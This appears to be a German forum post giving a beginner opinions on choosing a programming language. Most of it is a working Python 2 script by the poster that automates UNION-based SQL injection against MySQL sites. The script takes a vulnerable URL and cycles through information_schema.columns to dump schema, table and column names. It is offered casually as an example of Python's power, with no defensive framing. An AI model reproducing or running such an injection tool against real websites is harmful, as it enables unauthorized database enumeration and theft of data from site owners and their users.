Kleine Frage: Warum C# lernen, dass (einwandfrei) nur unter Windows läuft? Java ist fast gleich, ist aber platformunabhängig. Zudem rate ich dir sehr, eine Sprache zu lernen die nicht in einer VM läuft.
Alsoo: Zum entwickeln grösserer OOP Anwendungen, die selten auf native Funktionen eines OS zugreifen, nimmst du C# oder Java, zum richtigen Coden C/C++ und für alles Webgedings Python. HTML und PHP kann man einfach :)
Ich habe beispielsweise erstmal ein Jahr lang Java gecodet, bin nun aber mit C/C++ ganz gut dabei. Ist viiiiiiiiel schwerer, aber man lernt richtig wie Daten aufgebaut sind. Bei Java schubst man meistend abstrakte Objekte hin und her und hinter deinem Rücken rattern die Pointer in der VM von Polen nach Molen...
Hier mal ein kleines Beispiel für ne automatisierte SQL Injection Abfrage von mir in Python (mysql 5 / union_select funzt), Python ist simple und sehr mächtig :)
PHP Code:
import urllib2
__author__="Spider"
__date__ ="$28.02.2011 19:42:01$"
def pout (html):
mark = 'm6034-1'
k = html.index(mark)
#k += len(mark)+2
i = k
while html[i] != '<':
i+=1
print html[k:i]
def createQuery(number_columns,column_show):
lst = []
for i in range(number_columns):
i+=1
if i == column_show:
lst.append('concat_ws%280x3a,table_schema,table_name,column_name%29')
if (i < number_columns):
lst.append(',')
else:
lst.append(repr(i))
if (i<number_columns):
lst.append(',')
str = ''.join(lst)
return str
def get_URL_list(vul_URL,build):
const_1 = '-1+union+select+'
const_2 = '+from+information_schema.columns+limit+'
url_list = []
for i in range(300):
lst = []
lst.append(vul_URL)
lst.append(const_1)
lst.append(build)
lst.append(const_2)
lst.append(repr(i+318))
lst.append(',500+--+')
final = "".join(lst)
url_list.append(final)
print 'done'
return url_list
print '*******************************************************************************************'
print 'enter the vul website URL, the script is going to read all tables via information_scheme'
print '*******************************************************************************************'
vul_URL = raw_input()
print '*******************************************************************************************'
print 'enter number of columns'
print '*******************************************************************************************'
number_columns = int(raw_input())
print '*******************************************************************************************'
print 'enter column where to show'
print '*******************************************************************************************'
show = int(raw_input())
build = createQuery(number_columns,show)
#MAIN
lst = get_URL_list(vul_URL,build)
for i in lst:
#print i
html = urllib2.urlopen(i)
x = html.read()
#print x
pout(x)
Aber das Wichtigste: Lern Coden...